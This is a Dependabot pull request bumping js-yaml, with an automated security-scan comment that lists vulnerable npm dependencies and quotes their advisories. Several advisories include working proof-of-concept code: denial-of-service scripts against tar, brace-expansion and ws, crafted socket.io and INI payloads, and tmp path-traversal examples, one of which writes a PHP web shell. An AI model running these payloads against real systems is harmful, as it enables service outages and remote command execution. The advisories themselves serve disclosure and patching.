Bump js-yaml from 3.12.0 to 3.15.2 - #424
dependabot[bot] wants to merge 1 commit into
Conversation
Bumps [js-yaml](https://github.com/nodeca/js-yaml) from 3.12.0 to 3.15.2. - [Changelog](https://github.com/nodeca/js-yaml/blob/3.15.2/CHANGELOG.md) - [Commits](nodeca/js-yaml@3.12.0...3.15.2) --- updated-dependencies: - dependency-name: js-yaml dependency-version: 3.15.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] <support@github.com>
There was a problem hiding this comment.
Orca Security Scan Summary
| Status | Check | Issues by priority | |
|---|---|---|---|
| Infrastructure as Code | View in Orca | ||
| OSS Licenses | View in Orca | ||
| Malicious Packages | View in Orca | ||
| SAST | View in Orca | ||
| Secrets | View in Orca | ||
| Vulnerabilities | View in Orca |
📗 Scan Summary
📦 Vulnerable Dependencies
|
📦 Vulnerable Dependencies🔖 Details[ CVE-2026-59873 ] tar 4.4.1Vulnerability Details
SummaryA Decompression/parse DoS via unlimited input vulnerability in DetailsThe Specifically, in PoCThe following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.
const fs = require('fs'), z = require('zlib'), t = require('tar');
const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);
// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124);
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);
const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);
const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed
const run = () => {
while (gz.write(b));
gz.once('drain', run);
};
const monitor = setInterval(() => {
try {
const bytes = fs.statSync(`${d}/payload`).size;
const mb = Math.floor(bytes / (1024 * 1024));
process.stdout.write(`\r[>] Extracted: ${mb} MB`);
if (mb > 5000) {
console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.');
process.exit();
}
} catch {}
}, 50);
process.on('exit', () => {
clearInterval(monitor);
console.log('[*] Cleaning up...');
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});
run();
node poc.jsObservation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible. ImpactThis is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses [ CVE-2026-4800 ] lodash 4.17.11Vulnerability Details
Impact: The fix for CVE-2021-23337 (GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function(). Patches: Users should upgrade to version 4.18.0. Workarounds: Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names. [ CVE-2026-33937 ] handlebars 4.0.12Vulnerability Details
Summary
Description
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as Any endpoint that deserializes user-controlled JSON and passes the result directly to Proof of ConceptServer-side Express application that passes import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);The response body will contain the output of the Workarounds
[ CVE-2025-7783 ] form-data 2.3.3Vulnerability Details
Summaryform-data uses
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in DetailsThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a PoCPoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ImpactFor an application to be vulnerable, it must:
If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems. [ CVE-2024-38999 ] requirejs 2.3.6Vulnerability Details
jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function [ CVE-2023-45311 ] fsevents 1.2.4Vulnerability Details
fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary. NOTE: some sources feel that this means that no version is affected any longer, because the URL is not controlled by an adversary. [ CVE-2023-26136 ] tough-cookie 2.4.3Vulnerability Details
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in [ CVE-2022-2421 ] socket.io-parser 2.3.1Vulnerability Details
Due to improper type validation in the Example: const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));This bubbles up in the io.on("connection", (socket) => {
socket.on("hello", (val) => {
// here, "val" could be a function instead of a buffer
});
});You need to make sure that the payload that you received from the client is actually a io.on("connection", (socket) => {
socket.on("hello", (val) => {
if (!Buffer.isBuffer(val)) {
socket.disconnect();
return;
}
// ...
});
});If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...). Example of values that could be sent by a malicious user:
Sample packet: io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
Sample packet: io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
Sample packet: io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "push" function
});
});
Sample packet: io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "hasOwnProperty" function
});
});This should be fixed by:
Dependency analysis for the
|
socket.io version |
socket.io-parser version |
Covered? |
|---|---|---|
4.5.2...latest |
~4.2.0 (ref) |
Yes ✔️ |
4.1.3...4.5.1 |
~4.0.4 (ref) |
Yes ✔️ |
3.0.5...4.1.2 |
~4.0.3 (ref) |
Yes ✔️ |
3.0.0...3.0.4 |
~4.0.1 (ref) |
Yes ✔️ |
2.3.0...2.5.0 |
~3.4.0 (ref) |
Yes ✔️ |
Dependency analysis for the socket.io-client package
socket.io-client version |
socket.io-parser version |
Covered? |
|---|---|---|
4.5.0...latest |
~4.2.0 (ref) |
Yes ✔️ |
4.3.0...4.4.1 |
~4.1.1 (ref) |
No, but the impact is very limited |
3.1.0...4.2.0 |
~4.0.4 (ref) |
Yes ✔️ |
3.0.5 |
~4.0.3 (ref) |
Yes ✔️ |
3.0.0...3.0.4 |
~4.0.1 (ref) |
Yes ✔️ |
2.2.0...2.5.0 |
~3.3.0 (ref) |
Yes ✔️ |
[ CVE-2021-44906 ] minimist 0.0.8
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | minimist: 0.0.8 (Transitive)Fix Version: 0.2.4 |
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
[ CVE-2021-44906 ] minimist 1.2.0
Vulnerability Details
| CVSS V3: | 9.8 |
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
[ CVE-2021-3918 ] json-schema 0.2.3
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | json-schema: 0.2.3 (Transitive)Fix Version: 0.4.0 |
json-schema before version 0.4.0 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
[ CVE-2021-31597 ] xmlhttprequest-ssl 1.5.3
Vulnerability Details
| CVSS V3: | 9.4 |
| Dependency Path: | xmlhttprequest-ssl: 1.5.3 (Transitive)Fix Version: 1.6.1 |
The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.
[ CVE-2021-23440 ] set-value 0.4.3
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | set-value: 0.4.3 (Transitive)Fix Version: 2.0.1 |
This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.
[ CVE-2021-23440 ] set-value 2.0.0
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | set-value: 2.0.0 (Transitive)Fix Version: 2.0.1 |
This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.
[ CVE-2021-23383 ] handlebars 4.0.12
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | handlebars: 4.0.12 (Transitive)Fix Version: 4.7.7 |
The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.
[ CVE-2021-23369 ] handlebars 4.0.12
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | handlebars: 4.0.12 (Transitive)Fix Version: 4.7.7 |
The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.
[ CVE-2020-7788 ] ini 1.3.5
Vulnerability Details
| CVSS V3: | 9.8 |
| Dependency Path: | ini: 1.3.5 (Transitive)Fix Version: 1.3.6 |
Overview
The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Patches
This has been patched in 1.3.6.
Steps to reproduce
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```<br></details>
<details><summary><b>[ CVE-2019-19919 ] handlebars 4.0.12</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.3.0<br></details> |
Versions of `handlebars` prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects' `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code through crafted payloads.
## Recommendation
Upgrade to version 3.0.8, 4.3.0 or later.<br></details>
<details><summary><b>[ CVE-2019-10747 ] set-value 2.0.0</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>set-value: 2.0.0 (Transitive)</b></summary>Fix Version: 2.0.1<br></details> |
Versions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.
## Recommendation
If you are using `set-value` 3.x, upgrade to version 3.0.1 or later.
If you are using `set-value` 2.x, upgrade to version 2.0.1 or later.<br></details>
<details><summary><b>[ CVE-2019-10747 ] set-value 0.4.3</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>set-value: 0.4.3 (Transitive)</b></summary>Fix Version: 2.0.1<br></details> |
Versions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.
## Recommendation
If you are using `set-value` 3.x, upgrade to version 3.0.1 or later.
If you are using `set-value` 2.x, upgrade to version 2.0.1 or later.<br></details>
<details><summary><b>[ CVE-2019-10746 ] mixin-deep 1.3.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>mixin-deep: 1.3.1 (Transitive)</b></summary>Fix Version: 1.3.2<br></details> |
Versions of `mixin-deep` prior to 2.0.1 or 1.3.2 are vulnerable to Prototype Pollution. The `mixinDeep` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.
## Recommendation
If you are using `mixin-deep` 2.x, upgrade to version 2.0.1 or later.
If you are using `mixin-deep` 1.x, upgrade to version 1.3.2 or later.<br></details>
<details><summary><b>[ CVE-2019-10744 ] lodash 4.17.11</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |
| **Dependency Path:** | <details><summary><b>lodash: 4.17.11 (Transitive)</b></summary>Fix Version: 4.17.12<br></details> |
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution. The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.12 or later.<br></details>
<details><summary><b>[ CVE-2019-10744 ] lodash 2.2.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.12<br></details> |
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution. The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.12 or later.<br></details>
<details><summary><b>[ CVE-2019-10744 ] lodash 3.10.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution. The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.12 or later.<br></details>
<details><summary><b>[ CVE-2026-73566 ] tar 4.4.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 7.5.21<br></details> |
node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.<br></details>
<details><summary><b>[ CVE-2026-69185 ] socket.io-parser 2.3.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>socket.io-parser: 2.3.1 (Transitive)</b></summary>Fix Version: 3.3.6<br></details> |
### Impact
A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.
### Patches
| Version range | Used by | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.7` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.7` |
| `>=3.4.0 <3.4.5` | `socket.io@2.x` | `3.4.5` |
| `<3.3.6` | `socket.io-client@2.x` | `3.3.6` |
### Workarounds
There is no known workaround except upgrading to a safe version.
### For more information
If you have any questions or comments about this advisory:
- Open a discussion [here](https://github.com/socketio/socket.io/discussions)<br></details>
<details><summary><b>[ CVE-2026-69152 ] brace-expansion 1.1.11</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>brace-expansion: 1.1.11 (Transitive)</b></summary>Fix Version: 1.1.18<br></details> |
### Summary
The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help.
A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.
### Details
`maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded.
**1. Comma alternatives accumulate without a running total (memory exhaustion)**
Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit:
```js
values = []
for (let j = 0; j < n.length; j++) {
values.push.apply(values, expand_(n[j], max, maxLength, false))
}
acc = combine(acc, pre, values, max, maxLength, ...)
With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.
2. Padded sequences ignore maxLength while generating (CPU exhaustion)
expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.
Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.
| pad width | input bytes | results kept | time (5.0.8) | time (patched) |
|---|---|---|---|---|
| 20,000 | 20 KB | 199 | ~7.3 s | ~20 ms |
| 100,000 | 100 KB | 39 | ~32 s | ~20 ms |
| 400,000 | 400 KB | 9 | ~124 s | ~18 ms |
Output is byte-identical before and after the fix; only the wasted work is removed.
Proof of concept
Memory exhaustion, against 5.0.8:
import { expand } from 'brace-expansion'
const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}' // ~25 KB
try {
expand(input)
} catch (e) {
// never reached - the process is already dead
}FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted
Event-loop stall, against 5.0.8:
import { expand } from 'brace-expansion'
// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')Impact
Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.
Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.
Patches
Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():
valuestracks a running result count and character length while alternatives are appended, and stops once either bound is reached.expandSequence()acceptsmaxLengthand stops generating once the sequence's own characters reach it.
As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.
Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.
Credits
The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.
The sequence-generation issue was found while verifying that report.
[ CVE-2026-59874 ] tar 4.4.1
Vulnerability Details
| CVSS V3: | 7.5 |
| Dependency Path: | tar: 4.4.1 (Transitive)Fix Version: 7.5.18 |
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjsimport fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: trueImpact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
[ CVE-2026-59871 ] tar 4.4.1
Vulnerability Details
| CVSS V3: | 7.5 |
| Dependency Path: | tar: 4.4.1 (Transitive)Fix Version: 7.5.18 |
Summary
A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.
Details
In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.
This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().
The throw is synchronous during event emission and bypasses all error handling:
strict: falsedoes not help'error'event handlers do not catch it'warn'handlers do not catch it- The TypeError propagates through the event emitter stack as an uncaughtException
Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.
PoC
Create a tar archive with a PAX extended header containing an all-digit path:
PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')
Extract it:
const tar = require('tar');
// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });
// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
.on('error', (err) => { /* never reached */ })
.on('warn', (code, msg) => { /* never reached */ });The archive is ~2.5KB. The crash is deterministic on every attempt.
Impact
Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.
[ CVE-2026-56876 ] extract-zip 1.6.7
Vulnerability Details
| CVSS V3: | 8.1 |
| Dependency Path: | extract-zip: 1.6.7 (Transitive) |
extract-zip does not validate symlink targets when extracting zip archives. When processing a malicious zip file containing a symlink with a relative path like '../../../../etc/passwd', extract-zip will extract the symlink without validation, allowing it to point outside the extraction directory. Depending on how extract-zip is used, an attacker could read or write to arbitrary files.
[ CVE-2026-48779 ] ws 1.1.5
Vulnerability Details
| CVSS V3: | 7.5 |
| Dependency Path: | ws: 1.1.5 (Transitive)Fix Version: 5.2.5 |
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});Patches
The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
[ CVE-2026-44705 ] tmp 0.0.33
Vulnerability Details
| CVSS V3: | 8.2 |
| Dependency Path: | tmp: 0.0.33 (Transitive)Fix Version: 0.2.6 |
Summary
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Details
Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
- Filename Construction: tmp builds filenames as
<prefix>-<pid>-<random>-<postfix> - Path Composition: Final path computed as
path.join(tmpDir, opts.dir, name) - Path Normalization: Node.js
path.join()normalizes traversal sequences, allowing escape - File Creation: File created at the resulting (potentially escaped) path
Vulnerable Pattern:
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDirPath Traversal Mechanics:
- prefix/postfix traversal:
../../../evilin prefix escapes directory structure - Absolute path bypass: If
opts.diris absolute,path.join()ignorestmpDircompletely - Normalization exploitation:
path.join()resolves../sequences regardless of surrounding text - Cross-platform impact: Works on Windows (
..\\), Unix (../), and mixed path systems
Key Vulnerability Points:
- No input validation on
prefix,postfix, ordirparameters - Direct use of user input in path construction
- Reliance on
path.join()normalization without containment checks - Missing post-construction validation that final path remains within intended directory
PoC
Basic Path Traversal via prefix:
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>
cleanup();
});Directory Escape via postfix:
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});Absolute Path Bypass via dir:
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});Advanced Multi-Vector Attack:
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});Real-World Attack Simulation:
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directoryImpact
Arbitrary File Creation:
- Files created outside intended temporary directories
- Attacker control over file placement location
